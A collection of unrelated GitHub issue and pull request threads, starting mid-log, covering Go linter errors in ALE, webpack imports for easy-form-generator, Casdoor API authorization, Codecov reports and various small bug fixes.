/tmp/nvimuKWnOb/11/raft.go:353:14: invalid operation: db.remote (variable of type *invalid type) has no field or method GetProperty
/tmp/nvimuKWnOb/11/raft.go:60:34: invalid operation: m.conn (variable of type *invalid type) has no field or method conn
couldn't load packages due to errors: adhoc
<<<OUTPUT ENDS>>>

I get the same output when I only run the gosimple command on the single file I'm in. Running it on the full directory works fine though. Is there a way to define the linter in such a way that the temporary directory with the new file contains the other files in the directory as well?

There are two ways to handle this.

Pass some information to the program to tell it where the files are.
Just use the real file and lose the ability to check for errors while you type.

We should pick whatever is appropriate for these linters. I've noticed lots of issues with the Go tools.

Related: https://github.com/dominikh/go-tools/issues/81
There the authors claim that it works "just like go build", and yes, if you pass a single file as go build <filename> it will fail with the same issue... But in ALE go build has no issues with types being declared in different files, it works absolutely fine. How is it working, is it really dependent on the files being saved, or ALE provides some information for go build on how to discover other files?

go build use the files on disk, so I'll make gosimple and staticcheck do the same. You can't check for errors while you type with those tools, because the tools don't support it.

Done!

Somehow the problem is still not fixed for me, not sure if I'm doing something wrong. @JelteF what about you?

Okay, please submit a pull request to fix the issue if you can figure it out. I don't write Go myself.
You might want to look at the gobuild linter, which sets GOPATH and changes directory.

Now gosimple and gotype check whole packages. Now we can wait for someone to make the 10th tool for checking Go programs until it also has the same problem, like goextrasimple.


Fix YouPorn Test (update test URL)

Category
This change is exactly one of the following (please change [ ] to [x]) to indicate which:

[x] a bug fix (Fix #...)
[ ] a new Ripper
[ ] a refactoring
[ ] a style change/fix
[ ] a new feature

Description
Fix YouPorn Test, Changed URL,
Original video cannot be loaded: "Video has been flagged for verification"
Testing
Required verification:

[x] I've verified that there are no regressions in mvn test (there are no new failures or errors).
[x] I've verified that this change works as intended.

[x] Downloads all relevant content.
[x] Downloads content from multiple pages (as necessary or appropriate).
[x] Saves content at reasonable file names (e.g. page titles or content IDs) to help easily browse downloaded content.

[x] I've verified that this change did not break existing functionality (especially in the Ripper I modified).

Optional but recommended:

[ ] I've added a unit test to cover my change.

released here:
https://github.com/ripmeapp2/ripme


Polyline disappears on map drag on SCENE2D

Hello.
Added sandcastle and video with super simple scenario.
Polyline with callbackPropery and without blinking and disappearing

video
sandcastle

Hi @Nikitak211, Thanks for bringing up this issue!  I believe this is a duplicate of https://github.com/CesiumGS/cesium/issues/11370.
I'm going to close your issue to keep the discussion in one place. If you have any further input on this, please post it there instead.


Create recommendation.py

Description

eed to collect user interaction data such as views, clicks, and purchases. Store this data in a structured format, such as a CSV file or a database. Here's an example of what the data might look like:
user_id,item_id,interaction
1,101,view
1,102,click
2,101,purchase
2,103,view
...
Related Issues

Closes #
Data Quality and Quantity
Issue: The effectiveness of your recommendation model heavily relies on the quality and quantity of data collected. Incomplete or inaccurate data can lead to poor recommendations.

 Implement data validation checks and handle missing or noisy data appropriately.
Type of PR

[ ] ()
[x] - [ ] Bug Fix
[x] Feature Enhancement
[ ] Code Refactor
[x] Documentation Update
[x] Performance Improvement
[ ] New Feature
[ ] Security Fix
[ ] Other (Please Specify)

Screenshots / videos (if applicable)

Checklist

[x] I have gone through the contributing guide
[x] I have updated my branch and synced it with project main branch before making this PR
[x] I have performed a self-review of my code
[x] I have tested the changes thoroughly before submitting this pull request.
[x] I have provided relevant issue numbers, screenshots, and videos after making the changes.
[x] I have commented my code, particularly in hard-to-understand areas.

Additional context:

@Anjaliavv51 pls level up to level 3


Add sample for React 18

Adds React 18 sample
Updates peerDependencies for msal-react to allow version 18

Codecov Report

Merging #4546 (e7bfe74) into dev (0ec43d8) will decrease coverage by 0.45%.
The diff coverage is n/a.

Flag
Coverage Δ

*Carryforward flag

msal-angular
96.39% <ø> (ø)

Carriedforward from 42ad30c

msal-browser
87.50% <ø> (-0.32%)
:arrow_down:
Carriedforward from 42ad30c

msal-common
85.08% <ø> (ø)

Carriedforward from 42ad30c

msal-core
82.67% <ø> (ø)

Carriedforward from 42ad30c

msal-node
82.25% <ø> (ø)

Carriedforward from 42ad30c

msal-node-extensions
76.03% <ø> (?)

Carriedforward from 42ad30c

msal-react
92.46% <ø> (ø)

*This pull request uses carry forward flags. Click here to find out more.

Impacted Files
Coverage Δ

lib/msal-browser/src/utils/BrowserStringUtils.ts
50.00% <0.00%> (-11.67%)
:arrow_down:

lib/msal-browser/src/encode/Base64Decode.ts
86.48% <0.00%> (-2.71%)
:arrow_down:

...msal-node-extensions/src/lock/CrossPlatformLock.ts
81.08% <0.00%> (ø)

...node-extensions/src/persistence/BasePersistence.ts
66.66% <0.00%> (ø)

...ions/msal-node-extensions/src/dpapi-addon/Dpapi.ts
100.00% <0.00%> (ø)

...c/persistence/FilePersistenceWithDataProtection.ts
81.08% <0.00%> (ø)

...nsions/msal-node-extensions/src/utils/Constants.ts
100.00% <0.00%> (ø)

...tensions/src/persistence/PersistenceCachePlugin.ts
75.67% <0.00%> (ø)

...ions/msal-node-extensions/src/utils/Environment.ts
42.59% <0.00%> (ø)

...-extensions/src/persistence/KeychainPersistence.ts
88.23% <0.00%> (ø)

... and 6 more


importing easy-form-generator

I am using webpack for an application and attempting to import easy-form-generator into a module.
I have the lines
import 'easy-form-generator/dist/eda.stepway';
import 'easy-form-generator/dist/eda.easyFormViewer';

and the module export includes
angular.module(MODULE_NAME, ['eda.easyformGen.stepway', 'eda.easyFormViewer']

(there are some other modules imported as well, but i left them out to make it clearer)
Ultimately I end up with an error that looks like this:
Uncaught Error: [$injector:modulerr] Failed to instantiate module App due to:
Error: [$injector:modulerr] Failed to instantiate module App.review due to:
Error: [$injector:modulerr] Failed to instantiate module eda.easyformGen.stepway due to:
Error: [$injector:modulerr] Failed to instantiate module edaStepWayEasyFormGen.core due to:
Error: [$injector:modulerr] Failed to instantiate module textAngular due to:
Error: [$injector:nomod] Module 'textAngular' is not available! You either misspelled the module name or forgot to load it. If registering a module ensure that you specify the dependencies as the second argument.

If I manually add the import import 'easy-form-generator/dist/vendors/js/textAngular.min'; then it asks for toaster, etc, etc.
Error: [$injector:modulerr] Failed to instantiate module pascalprecht.translate due to:

Is there a way to import all the vendor scripts easily? I noticed at https://github.com/MacKentoch/easyFormGenerator/issues/27 you mentioned being able to just use the one import statement.

Hi,
I guess vendors need to be imported.
I left them outside easyFormGenerator bundle since it would have side effects some applications already using them.
The vendors needed:

bootstrap (css/ jquery)
bootswatch (nice theme)
jquery
angular js (>= 1.3.X dev/tested)
ngAnimate + animate.css
textAngular (for rich text editor)
angular translate
nya-bootstrap-select (for basic and grouped select)
angular toaster (nice toaster messages)

So add them to your project:
npm i --save bootstrap bootswatch jquery  angular angular-animate angular-translate angularjs-toaster textangular @lordfriend/nya-bootstrap-select

and import them in your entry js or a vendor js so that webpack will include them:
import '@lordfriend/nya-bootstrap-select';
import 'angular';
import 'angular-animate';
import 'angular-translate';
import 'angularjs-toaster';
import 'bootstrap';
import 'bootswatch';
import 'jquery';
import 'textangular';

Thanks to your issue I updated README to make it clearer.
As no feedback, I guess it is ok. So I close this issues.
Open it back if needed.

I did get it working for the most part. I'll write up an update post describing the process in the next day.

Note: I am trying to use easyFormGenerator as a component in a larger existing project, not standalone.
So the imports ended up looking a little more like this. TextAngular needed its own ngSanitize and Bootswatch had to be imported in a different way.
import 'textangular/dist/textangular-sanitize.js';
import 'angularjs-toaster';
import 'angular-translate';
import 'textangular';
import 'angular-ui-bootstrap';
import '@lordfriend/nya-bootstrap-select';
import '../main.less'
import 'easy-form-generator/dist/eda.stepway';
import 'easy-form-generator/dist/eda.easyFormViewer';

The Bootswatch theme needed to be imported in its own less file (I called it main.less)
@import '~bootstrap/less/bootstrap.less';
@import '~bootswatch/paper/variables.less';
@import '~bootswatch/paper/bootswatch.less';

I also needed to use less-loader for the above
{
      test: /\.less$/,
      loader: 'style-loader!css-loader!less-loader'
      // loader: ExtractTextPlugin.extract('style-loader', 'css-loader!less-loader')
    }

ui.bootstrap needed to be passed into the module
angular.module(MODULE_NAME, ['eda.easyformGen.stepway', 'eda.easyFormViewer', 'ui.bootstrap']

For the most part, everything looks good! But it seems like there's some css that is interfering with the rest of the application. There is padding and margins added to the body of the app, making things appear pretty weird. Is there an easy way to remove this?
@MacKentoch

@vinnybod thank you for this amazing complete and rich feedback :+1:
I did not have a try with webpack since my tsunami update...
You are right I forgot ngSanitize and all bootstrap , bootswatch imports...

To sum up, I was totally inaccurate :sweat_smile:

Adding less loader in webpack is nice solution thank you for sharing it.
Another alternative (not saying it is better since it doesn't make any difference it does the same):
// index.js of the application
import 'bootstrap/dist/css/bootstrap.min.css';
import 'bootstrap/dist/js/bootstrap.min.js';

Concerning ui-bootstrap I'm :astonished: (astonished) since it is already injected in easyFormGenerator here.
Maybe It is a matter of versions?
Anyway, I don't understand you should be free from having to inject it for easy form generator.
Finally concerning ugly margins: I'm sorry about that it my fault I embedded easyFormGenerator style into same bundle as JS part. See #49 It is already fixed in master branch (not published to npm right now).  Your style will be able override easyFormGenerator one.

I was able to override the styles by adding custom styles to my body tag
<body style="padding-top:0px; background-color:#ffffff; margin:0px">

I'll look into removing ui-bootstrap from the module to see if it makes a difference. I do think that you still need less loader because the bootswatch themes are in less

So less loader is the best way to go.
It offers another advantage, you can edit less style source if you need.
I just thought bootswatch had already css versions in some dist dir.

I see .less and .scss

Yes you are right.
Now I remember now I just go to bootswatch website select my theme and download css (min version) from there for example
My way is a bit manual...


add userNNP option to allow the use of other NNP

add userNNP option to allow the use of other NNPs by create a wrapper userNNP.py that can interface with standard input and ase calls.

Thanks Ping! I will review and merge asap


Not compatible with imgui 2.0

imgui 2.0 introduced some breaking changes. Until we adapt to 2.0, we fix the version to be 1.4.1.

Fixed with f5b2d5bf11e17cd4713be986fe61863bc4b834a8 in version 1.8.1.


Adds user tracking for awards

Adds the underlying tracking to support user awards for game plays.

Codecov Report

Merging #438 (482fad9) into master (fedf55a) will decrease coverage by 0.16%.
The diff coverage is 94.00%.

@@            Coverage Diff             @@
##           master     #438      +/-   ##
==========================================
- Coverage   97.24%   97.07%   -0.17%
==========================================
  Files          66       68       +2
  Lines        3264     3314      +50
  Branches      457      459       +2
==========================================
+ Hits         3174     3217      +43
- Misses         51       56       +5
- Partials       39       41       +2

Impacted Files
Coverage Δ

src/spellbot/__init__.py
95.18% <82.35%> (-0.35%)
:arrow_down:

src/spellbot/data.py
100.00% <100.00%> (ø)

...versions/82917a8a118b_adds_repeating_user_award.py
100.00% <100.00%> (ø)

.../versions/87317566b389_adds_user_award_tracking.py
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update fedf55a...482fad9. Read the comment docs.


Not built-in organization's user cannot call the Casbin API

Casbin APIs such as /api/enforce and /api/batch-enforce should be able to be called from other organizations' user, since it is used for external applications' user authorization. However, if we use an access_token from the not built-in organization in this version will only get an unauthorized operation error like below.
Set access_token in the HTTP header

Request body and response body

Backend log
subOwner = TestOrg, subName = TestUser, method = POST, urlPath = /api/enforce, obj.Owner = , obj.Name = , result = deny
2022/11/17 16:57:29.421 [I]  (::1: ) subOwner = TestOrg, subName = TestUser, method = POST, urlPath = /api/enforce, obj.Owner = , obj.Name = , result = deny
subOwner = TestOrg, subName = TestUser, method = POST, urlPath = /api/batch-enforce, obj.Owner = , obj.Name = , result = deny
2022/11/17 16:59:59.601 [I]  (::1: ) subOwner = TestOrg, subName = TestUser, method = POST, urlPath = /api/batch-enforce, obj.Owner = , obj.Name = , result = deny

Minor changes in authz/authz.go can solve the problem. But I can't make sure whether changing the rule text is ok for Casdoor. For this reason, I just open the issue.

@MagicalSheep see Casnode example code: https://github.com/casbin/casnode/blob/master/casdoor/user.go and docs: https://casdoor.org/docs/how-to-connect/sdk#5-optional-interact-with-the-user-table
Your application should use app's clientId and clientSecret to call the API

@MagicalSheep see Casnode example code: https://github.com/casbin/casnode/blob/master/casdoor/user.go and docs: https://casdoor.org/docs/how-to-connect/sdk#5-optional-interact-with-the-user-table
Your application should use app's clientId and clientSecret to call the API

@hsluoyz Using the Basic Auth method for the authorization API will cause the interface to not work properly. This is because the information carried in the Authentication field in the HTTP request header can only be used to identify the application (app/{app_name}), not a user in the organization ({org_name}/{user_name}).
At this stage, the authorization API obtains the subject information from the Cookies, and the information of the Cookies is parsed by the filter from the Authentication field of the request header. For the permissions policy used by Casdoor, app/{app_name} is sufficient to determine whether to allow the API. However, the authorization API does not use application information, but the information of the calling subject, which requires the Bearer method to control the authorization API.
I think this is a design mistake of the authorization API. Authorization subject information should be passed to the authorization handler function as an API parameter, and the API itself is authenticated using Basic Auth. This will not break Casdoor's API permission control strategy.

@MagicalSheep the normal users from non built-in orgs can't access these APIs. For your scenario, your application should use the application's identity (clientId & clientSecret) to access these APIs. If you really want to let normal users to access it, you can expose these APIs in your own backend.

@MagicalSheep the normal users from non built-in orgs can't access these APIs. For your scenario, your application should use the application's identity (clientId & clientSecret) to access these APIs. It's something like machine-to-machine authentication.
If you really want to let normal users to access it, you can expose these APIs in your own backend. Casdoor will not expose it by default to avoid security issues.

@hsluoyz That's what I suggest above to solve the problem. Just add a parameter v0 for these APIs and keep the Basic Auth method the Casdoor uses to avoid access from normal users.
Without v0 parameter the non-built-in application cannot make use of the Casbin that Casdoor. See pull request which exposes Casbin APIs for how the backend works with these APIs. They use Bearer Auth method however it is not what I suggest changing.
I can make a pull request to do changes if you agree with this suggestion. Otherwise, there will be some mistakes in the documentation, and need some extra explanation.

@MagicalSheep yes, v0 should be added. You are welcome to make a PR


[BP-1.15][FLINK-28695][network] Fix the bug of old netty client isn't closed when netty server closes channel and no input channel

Backport FLINK-28695 to 1.15.

Hi @pnowojski , please help take a look in your free time, thanks.


Conflicting docker version instructions

This is a...

[ ] Feature Request
[X] Bug Report

Problem:
Doc contains conflicting instructions regarding docker version.
This line indicates that 17.09 is not one of the officially support docker version:

On each of your machines, install Docker. Version v1.12 is recommended, but v1.11, v1.13 and 17.03 are known to work as well. Versions 17.06+ might work, but have not yet been tested and verified by the Kubernetes node team.

But then the installation instructions for debian explictly call out version 17.09 for installation.

or install Docker CE 17.09 from Docker’s repositories for Ubuntu or Debian:

This is confusing. An unsupported docker version shouldn't be used in the installation instructions.
Proposed Solution:
Update debian installation instructions to be version agnostic or have instructions for installing an officially supported version.
Page to Update:
http://kubernetes.io/...

@cjellick, this was changed to 17.09 in #6430 due to the issue reported on #6113. However it looks to have been changed back for the 1.9 release in this PR: https://github.com/kubernetes/website/pull/6645/files#diff-6144d8041be16a6621e6f0e82a35f661R100
Since thats the case I think this can be closed out?


Preprocessing and Release of data misplaced?

Should "Preprocessing" and "Release of data" be moved in "Data Management"?

I agree

Data collection is also data management ...
The sections should help us focus on the steps we want to address, not follow a greater taxonomy inspired by theoretical considerations (IMHO)


Fix build error spawn einval

To fix a build error ("spawn EINVAL")

About the Contributor

This pull request is posted on behalf of the NRK
Type of Contribution
This is a: Bug fix
Current Behavior

Using Node.js 18.20.4,  installing dependencies (yarn install) fails  due to:
utf-8-validate@npm:6.0.4 couldn't be built successfully (exit code 1)
[...]
Error: spawn EINVAL
    at ChildProcess.spawn (node:internal/child_process:414:11)
    at Object.spawn (node:child_process:761:9)
    at build (tsr\node_modules\node-gyp-build\bin.js:29:8)

This is due to a security patch released to all Node.js versions: https://github.com/nodejs/node/issues/52554#issuecomment-2061405161
New Behavior

Installation works.
Status

[x] PR is ready to be reviewed.
[x] The functionality has been tested by the author.
[ ] Relevant unit tests has been added / updated.
[ ] Relevant documentation (code comments, system documentation) has been added / updated.

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 100.00%. Comparing base (ad41ae6) to head (dc8082b).

Additional details and impacted files
@@               Coverage Diff               @@
##           release52      #361       +/-   ##
===============================================
+ Coverage      56.86%   100.00%   +43.13%
===============================================
  Files            131        43       -88
  Lines          10293       680     -9613
  Branches        2575        77     -2498
===============================================
- Hits            5853       680     -5173
+ Misses          4074         0     -4074
+ Partials         366         0      -366

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Is this an incorrect use of $loaded ?

Does the $loaded method of a $firebaseObject not actually wait for the object to be fully loaded in? Is there a way I can achieve this? Without the timeout - obviously :)
gameObject.$loaded().then(function(){

  setTimeout(function(){
    console.log(gameObject.gameType); // return "typeName"
  }, 1000);

  console.log(gameObject.gameType); // return undefined

});

Can you please provide a live repro of this issue (Plunker or JSFiddle)? Looking at your code, I would expect both log statements to return the correct value. Also, make sure you are using the latest versions of Firebase and AngularFire to rule out any bug which has since been fixed.

Can you try this:
gameObject.$loaded().then(function(**data**){
    console.log(**data**);
});

@douwevdijk -  No change unfortunately.
@jwngr - I have isolated the code into a fiddle and it seems to work so it must be something else in my code base that is causing the problem. My versions are up to date so I will look elsewhere. (My working fiddle - http://jsfiddle.net/3WcWu/150/ )
Thanks for you help - I will let you know if when I find the cause it is something that might be useful to you.

Just in case anyone has the same issue - turns out that my data was being changed outside of that directive at the same time the directive was being added to the DOM. So $loaded was functioning correctly its just that the data wasn't ready yet.

Glad you sorted it Elliot! The repro is mighty in bug squashing.


LSNBLDR-123 When a file or URL is changed, all properties from the original file are replaced except for the Item Description

Closed due to conflict with LSNBLDR-432

Closed due to conflict with LSNBLDR-432